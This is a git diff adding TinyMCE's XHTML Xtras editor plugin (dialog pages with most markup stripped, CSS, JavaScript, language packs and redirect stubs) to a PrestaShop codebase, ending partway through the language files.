{#xhtmlxtras_dlg.title_abbr_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/xhtmlxtras/acronym.htm b/js/tiny_mce2/plugins/xhtmlxtras/acronym.htm new file mode 100755 index 0000000..12b189b --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/acronym.htm @@ -0,0 +1,142 @@ + + + + {#xhtmlxtras_dlg.title_acronym_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/xhtmlxtras/attributes.htm b/js/tiny_mce2/plugins/xhtmlxtras/attributes.htm new file mode 100755 index 0000000..d84f378 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/attributes.htm @@ -0,0 +1,149 @@ + + + + {#xhtmlxtras_dlg.attribs_title} + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.attribute_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.attribute_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/xhtmlxtras/cite.htm b/js/tiny_mce2/plugins/xhtmlxtras/cite.htm new file mode 100755 index 0000000..ab61b33 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/cite.htm @@ -0,0 +1,142 @@ + + + + {#xhtmlxtras_dlg.title_cite_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/xhtmlxtras/css/attributes.css b/js/tiny_mce2/plugins/xhtmlxtras/css/attributes.css new file mode 100755 index 0000000..85b1b37 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/css/attributes.css @@ -0,0 +1,11 @@ +.panel_wrapper div.current { + height: 290px; +} + +#id, #style, #title, #dir, #hreflang, #lang, #classlist, #tabindex, #accesskey { + width: 200px; +} + +#events_panel input { + width: 200px; +} diff --git a/js/tiny_mce2/plugins/xhtmlxtras/css/index.php b/js/tiny_mce2/plugins/xhtmlxtras/css/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/css/popup.css b/js/tiny_mce2/plugins/xhtmlxtras/css/popup.css new file mode 100755 index 0000000..034b985 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/css/popup.css @@ -0,0 +1,9 @@ +input.field, select.field {width:200px;} +input.picker {width:179px; margin-left: 5px;} +input.disabled {border-color:#F2F2F2;} +img.picker {vertical-align:text-bottom; cursor:pointer;} +h1 {padding: 0 0 5px 0;} +.panel_wrapper div.current {height:160px;} +#xhtmlxtrasdel .panel_wrapper div.current, #xhtmlxtrasins .panel_wrapper div.current {height: 230px;} +a.browse span {display:block; width:20px; height:20px; background:url('../../../themes/advanced/img/icons.gif') -140px -20px;} +#datetime {width:180px;} diff --git a/js/tiny_mce2/plugins/xhtmlxtras/del.htm b/js/tiny_mce2/plugins/xhtmlxtras/del.htm new file mode 100755 index 0000000..e3f34c7 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/del.htm @@ -0,0 +1,162 @@ + + + + {#xhtmlxtras_dlg.title_del_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_general_tab} + + + + + + + + + +
    : + + + + + +
    +
    :
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/xhtmlxtras/editor_plugin.js b/js/tiny_mce2/plugins/xhtmlxtras/editor_plugin.js new file mode 100755 index 0000000..9b98a51 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.XHTMLXtrasPlugin",{init:function(a,b){a.addCommand("mceCite",function(){a.windowManager.open({file:b+"/cite.htm",width:350+parseInt(a.getLang("xhtmlxtras.cite_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.cite_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceAcronym",function(){a.windowManager.open({file:b+"/acronym.htm",width:350+parseInt(a.getLang("xhtmlxtras.acronym_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.acronym_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceAbbr",function(){a.windowManager.open({file:b+"/abbr.htm",width:350+parseInt(a.getLang("xhtmlxtras.abbr_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.abbr_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceDel",function(){a.windowManager.open({file:b+"/del.htm",width:340+parseInt(a.getLang("xhtmlxtras.del_delta_width",0)),height:310+parseInt(a.getLang("xhtmlxtras.del_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceIns",function(){a.windowManager.open({file:b+"/ins.htm",width:340+parseInt(a.getLang("xhtmlxtras.ins_delta_width",0)),height:310+parseInt(a.getLang("xhtmlxtras.ins_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceAttributes",function(){a.windowManager.open({file:b+"/attributes.htm",width:380+parseInt(a.getLang("xhtmlxtras.attr_delta_width",0)),height:370+parseInt(a.getLang("xhtmlxtras.attr_delta_height",0)),inline:1},{plugin_url:b})});a.addButton("cite",{title:"xhtmlxtras.cite_desc",cmd:"mceCite"});a.addButton("acronym",{title:"xhtmlxtras.acronym_desc",cmd:"mceAcronym"});a.addButton("abbr",{title:"xhtmlxtras.abbr_desc",cmd:"mceAbbr"});a.addButton("del",{title:"xhtmlxtras.del_desc",cmd:"mceDel"});a.addButton("ins",{title:"xhtmlxtras.ins_desc",cmd:"mceIns"});a.addButton("attribs",{title:"xhtmlxtras.attribs_desc",cmd:"mceAttributes"});a.onNodeChange.add(function(d,c,f,e){f=d.dom.getParent(f,"CITE,ACRONYM,ABBR,DEL,INS");c.setDisabled("cite",e);c.setDisabled("acronym",e);c.setDisabled("abbr",e);c.setDisabled("del",e);c.setDisabled("ins",e);c.setDisabled("attribs",f&&f.nodeName=="BODY");c.setActive("cite",0);c.setActive("acronym",0);c.setActive("abbr",0);c.setActive("del",0);c.setActive("ins",0);if(f){do{c.setDisabled(f.nodeName.toLowerCase(),0);c.setActive(f.nodeName.toLowerCase(),1)}while(f=f.parentNode)}});a.onPreInit.add(function(){a.dom.create("abbr")})},getInfo:function(){return{longname:"XHTML Xtras Plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("xhtmlxtras",tinymce.plugins.XHTMLXtrasPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/editor_plugin_src.js b/js/tiny_mce2/plugins/xhtmlxtras/editor_plugin_src.js new file mode 100755 index 0000000..a9c12ef --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/editor_plugin_src.js @@ -0,0 +1,132 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.XHTMLXtrasPlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceCite', function() { + ed.windowManager.open({ + file : url + '/cite.htm', + width : 350 + parseInt(ed.getLang('xhtmlxtras.cite_delta_width', 0)), + height : 250 + parseInt(ed.getLang('xhtmlxtras.cite_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceAcronym', function() { + ed.windowManager.open({ + file : url + '/acronym.htm', + width : 350 + parseInt(ed.getLang('xhtmlxtras.acronym_delta_width', 0)), + height : 250 + parseInt(ed.getLang('xhtmlxtras.acronym_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceAbbr', function() { + ed.windowManager.open({ + file : url + '/abbr.htm', + width : 350 + parseInt(ed.getLang('xhtmlxtras.abbr_delta_width', 0)), + height : 250 + parseInt(ed.getLang('xhtmlxtras.abbr_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceDel', function() { + ed.windowManager.open({ + file : url + '/del.htm', + width : 340 + parseInt(ed.getLang('xhtmlxtras.del_delta_width', 0)), + height : 310 + parseInt(ed.getLang('xhtmlxtras.del_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceIns', function() { + ed.windowManager.open({ + file : url + '/ins.htm', + width : 340 + parseInt(ed.getLang('xhtmlxtras.ins_delta_width', 0)), + height : 310 + parseInt(ed.getLang('xhtmlxtras.ins_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceAttributes', function() { + ed.windowManager.open({ + file : url + '/attributes.htm', + width : 380 + parseInt(ed.getLang('xhtmlxtras.attr_delta_width', 0)), + height : 370 + parseInt(ed.getLang('xhtmlxtras.attr_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('cite', {title : 'xhtmlxtras.cite_desc', cmd : 'mceCite'}); + ed.addButton('acronym', {title : 'xhtmlxtras.acronym_desc', cmd : 'mceAcronym'}); + ed.addButton('abbr', {title : 'xhtmlxtras.abbr_desc', cmd : 'mceAbbr'}); + ed.addButton('del', {title : 'xhtmlxtras.del_desc', cmd : 'mceDel'}); + ed.addButton('ins', {title : 'xhtmlxtras.ins_desc', cmd : 'mceIns'}); + ed.addButton('attribs', {title : 'xhtmlxtras.attribs_desc', cmd : 'mceAttributes'}); + + ed.onNodeChange.add(function(ed, cm, n, co) { + n = ed.dom.getParent(n, 'CITE,ACRONYM,ABBR,DEL,INS'); + + cm.setDisabled('cite', co); + cm.setDisabled('acronym', co); + cm.setDisabled('abbr', co); + cm.setDisabled('del', co); + cm.setDisabled('ins', co); + cm.setDisabled('attribs', n && n.nodeName == 'BODY'); + cm.setActive('cite', 0); + cm.setActive('acronym', 0); + cm.setActive('abbr', 0); + cm.setActive('del', 0); + cm.setActive('ins', 0); + + // Activate all + if (n) { + do { + cm.setDisabled(n.nodeName.toLowerCase(), 0); + cm.setActive(n.nodeName.toLowerCase(), 1); + } while (n = n.parentNode); + } + }); + + ed.onPreInit.add(function() { + // Fixed IE issue where it can't handle these elements correctly + ed.dom.create('abbr'); + }); + }, + + getInfo : function() { + return { + longname : 'XHTML Xtras Plugin', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('xhtmlxtras', tinymce.plugins.XHTMLXtrasPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/index.php b/js/tiny_mce2/plugins/xhtmlxtras/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/ins.htm b/js/tiny_mce2/plugins/xhtmlxtras/ins.htm new file mode 100755 index 0000000..226e605 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/ins.htm @@ -0,0 +1,162 @@ + + + + {#xhtmlxtras_dlg.title_ins_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_general_tab} + + + + + + + + + +
    : + + + + + +
    +
    :
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/xhtmlxtras/js/abbr.js b/js/tiny_mce2/plugins/xhtmlxtras/js/abbr.js new file mode 100755 index 0000000..1790e83 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/js/abbr.js @@ -0,0 +1,28 @@ +/** + * abbr.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('abbr'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAbbr() { + SXE.insertElement('abbr'); + tinyMCEPopup.close(); +} + +function removeAbbr() { + SXE.removeElement('abbr'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/plugins/xhtmlxtras/js/acronym.js b/js/tiny_mce2/plugins/xhtmlxtras/js/acronym.js new file mode 100755 index 0000000..93b8d25 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/js/acronym.js @@ -0,0 +1,28 @@ +/** + * acronym.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('acronym'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAcronym() { + SXE.insertElement('acronym'); + tinyMCEPopup.close(); +} + +function removeAcronym() { + SXE.removeElement('acronym'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/plugins/xhtmlxtras/js/attributes.js b/js/tiny_mce2/plugins/xhtmlxtras/js/attributes.js new file mode 100755 index 0000000..9e9b07e --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/js/attributes.js @@ -0,0 +1,111 @@ +/** + * attributes.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + tinyMCEPopup.resizeToInnerSize(); + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var elm = inst.selection.getNode(); + var f = document.forms[0]; + var onclick = dom.getAttrib(elm, 'onclick'); + + setFormValue('title', dom.getAttrib(elm, 'title')); + setFormValue('id', dom.getAttrib(elm, 'id')); + setFormValue('style', dom.getAttrib(elm, "style")); + setFormValue('dir', dom.getAttrib(elm, 'dir')); + setFormValue('lang', dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('onfocus', dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup')); + className = dom.getAttrib(elm, 'class'); + + addClassesToList('classlist', 'advlink_styles'); + selectByValue(f, 'classlist', className, true); + + TinyMCE_EditableSelects.init(); +} + +function setFormValue(name, value) { + if(value && document.forms[0].elements[name]){ + document.forms[0].elements[name].value = value; + } +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + + setAllAttribs(elm); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); +} + +function setAttrib(elm, attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib.toLowerCase()]; + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + dom.setAttrib(elm, attrib.toLowerCase(), value); +} + +function setAllAttribs(elm) { + var f = document.forms[0]; + + setAttrib(elm, 'title'); + setAttrib(elm, 'id'); + setAttrib(elm, 'style'); + setAttrib(elm, 'class', getSelectValue(f, 'classlist')); + setAttrib(elm, 'dir'); + setAttrib(elm, 'lang'); + setAttrib(elm, 'tabindex'); + setAttrib(elm, 'accesskey'); + setAttrib(elm, 'onfocus'); + setAttrib(elm, 'onblur'); + setAttrib(elm, 'onclick'); + setAttrib(elm, 'ondblclick'); + setAttrib(elm, 'onmousedown'); + setAttrib(elm, 'onmouseup'); + setAttrib(elm, 'onmouseover'); + setAttrib(elm, 'onmousemove'); + setAttrib(elm, 'onmouseout'); + setAttrib(elm, 'onkeypress'); + setAttrib(elm, 'onkeydown'); + setAttrib(elm, 'onkeyup'); + + // Refresh in old MSIE +// if (tinyMCE.isMSIE5) +// elm.outerHTML = elm.outerHTML; +} + +function insertAttribute() { + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); +tinyMCEPopup.requireLangPack(); diff --git a/js/tiny_mce2/plugins/xhtmlxtras/js/cite.js b/js/tiny_mce2/plugins/xhtmlxtras/js/cite.js new file mode 100755 index 0000000..b73ef47 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/js/cite.js @@ -0,0 +1,28 @@ +/** + * cite.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('cite'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertCite() { + SXE.insertElement('cite'); + tinyMCEPopup.close(); +} + +function removeCite() { + SXE.removeElement('cite'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/plugins/xhtmlxtras/js/del.js b/js/tiny_mce2/plugins/xhtmlxtras/js/del.js new file mode 100755 index 0000000..a5397f7 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/js/del.js @@ -0,0 +1,53 @@ +/** + * del.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('del'); + if (SXE.currentAction == "update") { + setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); + setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); + SXE.showRemoveButton(); + } +} + +function setElementAttribs(elm) { + setAllCommonAttribs(elm); + setAttrib(elm, 'datetime'); + setAttrib(elm, 'cite'); + elm.removeAttribute('data-mce-new'); +} + +function insertDel() { + var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'DEL'); + + if (elm == null) { + var s = SXE.inst.selection.getContent(); + if(s.length > 0) { + insertInlineElement('del'); + var elementArray = SXE.inst.dom.select('del[data-mce-new]'); + for (var i=0; i 0) { + tagName = element_name; + + insertInlineElement(element_name); + var elementArray = tinymce.grep(SXE.inst.dom.select(element_name)); + for (var i=0; i -1) ? true : false; +} + +SXE.removeClass = function(elm,cl) { + if(elm.className == null || elm.className == "" || !SXE.containsClass(elm,cl)) { + return true; + } + var classNames = elm.className.split(" "); + var newClassNames = ""; + for (var x = 0, cnl = classNames.length; x < cnl; x++) { + if (classNames[x] != cl) { + newClassNames += (classNames[x] + " "); + } + } + elm.className = newClassNames.substring(0,newClassNames.length-1); //removes extra space at the end +} + +SXE.addClass = function(elm,cl) { + if(!SXE.containsClass(elm,cl)) elm.className ? elm.className += " " + cl : elm.className = cl; + return true; +} + +function insertInlineElement(en) { + var ed = tinyMCEPopup.editor, dom = ed.dom; + + ed.getDoc().execCommand('FontName', false, 'mceinline'); + tinymce.each(dom.select('span,font'), function(n) { + if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline') + dom.replace(dom.create(en, {'data-mce-new' : 1}), n, 1); + }); +} diff --git a/js/tiny_mce2/plugins/xhtmlxtras/js/index.php b/js/tiny_mce2/plugins/xhtmlxtras/js/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/js/ins.js b/js/tiny_mce2/plugins/xhtmlxtras/js/ins.js new file mode 100755 index 0000000..71a8a26 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/js/ins.js @@ -0,0 +1,53 @@ +/** + * ins.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('ins'); + if (SXE.currentAction == "update") { + setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); + setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); + SXE.showRemoveButton(); + } +} + +function setElementAttribs(elm) { + setAllCommonAttribs(elm); + setAttrib(elm, 'datetime'); + setAttrib(elm, 'cite'); + elm.removeAttribute('data-mce-new'); +} + +function insertIns() { + var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'INS'); + + if (elm == null) { + var s = SXE.inst.selection.getContent(); + if(s.length > 0) { + insertInlineElement('ins'); + var elementArray = SXE.inst.dom.select('ins[data-mce-new]'); + for (var i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/it_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/it_dlg.js new file mode 100755 index 0000000..726be22 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.xhtmlxtras_dlg',{"attribs_title":"Inserisci/modifica attributi","option_rtl":"Destra verso sinistra","option_ltr":"Sinistra verso destra","insert_date":"Inserisci data/ora corrente",remove:"Rimuovi","title_cite_element":"Citazione elemento","title_abbr_element":"Abbreviazione elemento","title_acronym_element":"Acronimo elemento","title_del_element":"Cancellazione elemento","title_ins_element":"Inserimento elemento","fieldset_events_tab":"Eventi elemento","fieldset_attrib_tab":"Attributi elemento","fieldset_general_tab":"Impostazioni Generali","events_tab":"Eventi","attrib_tab":"Attributi","general_tab":"Generale","attribute_attrib_tab":"Attributi","attribute_events_tab":"Eventi","attribute_label_accesskey":"Tasto di accesso","attribute_label_tabindex":"Indice tabulazione","attribute_label_langcode":"Lingua","attribute_option_rtl":"Destra verso sinistra","attribute_option_ltr":"Sinistra verso destra","attribute_label_langdir":"Direzione del testo","attribute_label_datetime":"Date/Time","attribute_label_cite":"Citazione","attribute_label_style":"Style","attribute_label_class":"Classe","attribute_label_id":"ID","attribute_label_title":"Titolo"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/ja_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/ja_dlg.js new file mode 100755 index 0000000..99780dc --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.xhtmlxtras_dlg',{"attribs_title":"\u5c5e\u6027\u306e\u633f\u5165/\u524a\u9664","option_rtl":"\u53f3\u304b\u3089\u5de6","option_ltr":"\u5de6\u304b\u3089\u53f3","insert_date":"\u73fe\u5728\u306e\u65e5\u4ed8/\u6642\u523b\u3092\u633f\u5165",remove:"\u524a\u9664","title_cite_element":"\u5f15\u7528\u8981\u7d20","title_abbr_element":"\u7565\u8a9e\u8981\u7d20","title_acronym_element":"\u982d\u5b57\u8a9e\u8981\u7d20","title_del_element":"\u8981\u7d20\u3092\u524a\u9664","title_ins_element":"\u8981\u7d20\u3092\u633f\u5165","fieldset_events_tab":"\u8981\u7d20\u306e\u30a4\u30d9\u30f3\u30c8","fieldset_attrib_tab":"\u8981\u7d20\u306e\u5c5e\u6027","fieldset_general_tab":"\u4e00\u822c\u7684\u306a\u8a2d\u5b9a","events_tab":"\u30a4\u30d9\u30f3\u30c8","attrib_tab":"\u5c5e\u6027","general_tab":"\u4e00\u822c","attribute_attrib_tab":"\u5c5e\u6027","attribute_events_tab":"\u30a4\u30d9\u30f3\u30c8","attribute_label_accesskey":"\u30a2\u30af\u30bb\u30b9\u30ad\u30fc","attribute_label_tabindex":"\u30bf\u30d6\u30a4\u30f3\u30c7\u30c3\u30af\u30b9","attribute_label_langcode":"\u8a00\u8a9e","attribute_option_rtl":"\u53f3\u304b\u3089\u5de6","attribute_option_ltr":"\u5de6\u304b\u3089\u53f3","attribute_label_langdir":"\u6587\u7ae0\u306e\u65b9\u5411","attribute_label_datetime":"\u65e5\u4ed8/\u6642\u523b","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u30b9\u30bf\u30a4\u30eb","attribute_label_class":"\u30af\u30e9\u30b9","attribute_label_id":"ID","attribute_label_title":"\u30bf\u30a4\u30c8\u30eb"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/ka_dlg.js 